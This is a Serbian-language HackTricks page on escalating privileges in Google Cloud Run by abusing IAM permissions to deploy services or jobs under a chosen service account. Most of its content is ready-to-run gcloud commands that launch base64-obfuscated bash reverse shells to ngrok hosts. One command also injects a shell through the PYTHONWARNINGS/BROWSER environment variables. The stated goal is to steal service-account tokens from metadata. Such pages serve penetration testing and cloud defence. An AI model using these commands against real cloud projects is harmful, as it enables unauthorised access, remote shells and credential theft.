# GCP - Run Privesc

{{#include ../../../banners/hacktricks-training.md}}

## Cloud Run

Za više informacija o Cloud Run proverite:

{{#ref}}
../gcp-services/gcp-cloud-run-enum.md
{{#endref}}

### `run.services.create` , `iam.serviceAccounts.actAs`, **`run.routes.invoke`**

Napadač sa ovim dozvolama može **da kreira run servis koji pokreće proizvoljan kod** (proizvoljan Docker kontejner), da mu pridruži Service Account i da učini da kod **izvadi token Service Account-a iz metapodataka**.

Eksploatacioni skript za ovu metodu može se naći [ovde](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/run.services.create.py) a Docker slika može se naći [ovde](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudRunDockerImage).

Napomena: kada koristite `gcloud run deploy` umesto samo kreiranja servisa **potrebna je dozvola `update`**. Proverite [**primer ovde**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/o-run.services.create.sh).

### `run.services.update` , `iam.serviceAccounts.actAs`

Kao prethodni, ali ažurira servis:
```bash
# Launch some web server to listen in port 80 so the service works
echo "python3 -m http.server 80;sh -i >& /dev/tcp/0.tcp.eu.ngrok.io/14348 0>&1" | base64
# cHl0aG9uMyAtbSBodHRwLnNlcnZlciA4MDtzaCAtaSA+JiAvZGV2L3RjcC8wLnRjcC5ldS5uZ3Jvay5pby8xNDM0OCAwPiYxCg==

gcloud run deploy hacked \
--image=ubuntu:22.04 \  # Make sure to use an ubuntu version that includes python3
--command=bash \
--args="-c,echo cHl0aG9uMyAtbSBodHRwLnNlcnZlciA4MDtzaCAtaSA+JiAvZGV2L3RjcC8wLnRjcC5ldS5uZ3Jvay5pby8xNDM0OCAwPiYxCg== | base64 -d | bash" \
--service-account="<proj-num>-compute@developer.gserviceaccount.com" \
--region=us-central1 \
--allow-unauthenticated

# If you don't have permissions to use "--allow-unauthenticated", dont use it
```
### `run.services.setIamPolicy`

Dajte sebi prethodne dozvole za cloud Run.

### `run.jobs.create`, `run.jobs.run`, `iam.serviceaccounts.actAs`,(`run.jobs.get`)

Pokrenite posao sa reverznim shell-om da biste ukrali servisni nalog naznačen u komandi. Možete pronaći [**eksploit ovde**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/m-run.jobs.create.sh).
```bash
gcloud beta run jobs create jab-cloudrun-3326 \
--image=ubuntu:latest \
--command=bash \
--args="-c,echo c2ggLWkgPiYgL2Rldi90Y3AvNC50Y3AuZXUubmdyb2suaW8vMTIxMzIgMD4mMQ== | base64 -d | bash" \
--service-account="<sa>@$PROJECT_ID.iam.gserviceaccount.com" \
--region=us-central1

```
### `run.jobs.update`,`run.jobs.run`,`iam.serviceaccounts.actAs`,(`run.jobs.get`)

Slično prethodnom, moguće je **ažurirati posao i ažurirati SA**, **komandu** i **izvršiti je**:
```bash
gcloud beta run jobs update hacked \
--image=mubuntu:latest \
--command=bash \
--args="-c,echo c2ggLWkgPiYgL2Rldi90Y3AvNy50Y3AuZXUubmdyb2suaW8vMTQ4NDEgMD4mMQ== | base64 -d | bash" \
--service-account=<proj-num>-compute@developer.gserviceaccount.com \
--region=us-central1 \
--execute-now
```
### `run.jobs.setIamPolicy`

Dajte sebi prethodne dozvole za Cloud Jobs.

### `run.jobs.run`, `run.jobs.runWithOverrides`, (`run.jobs.get`)

Iskoristite env varijable izvršenja posla da izvršite proizvoljan kod i dobijete reverznu ljusku za iskopavanje sadržaja kontejnera (izvorni kod) i pristupite SA unutar metapodataka:
```bash
gcloud beta run jobs execute job-name --region <region> --update-env-vars="PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=/bin/bash -c 'bash -i >& /dev/tcp/6.tcp.eu.ngrok.io/14195 0>&1' #%s"
```
## Reference

- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)

{{#include ../../../banners/hacktricks-training.md}}
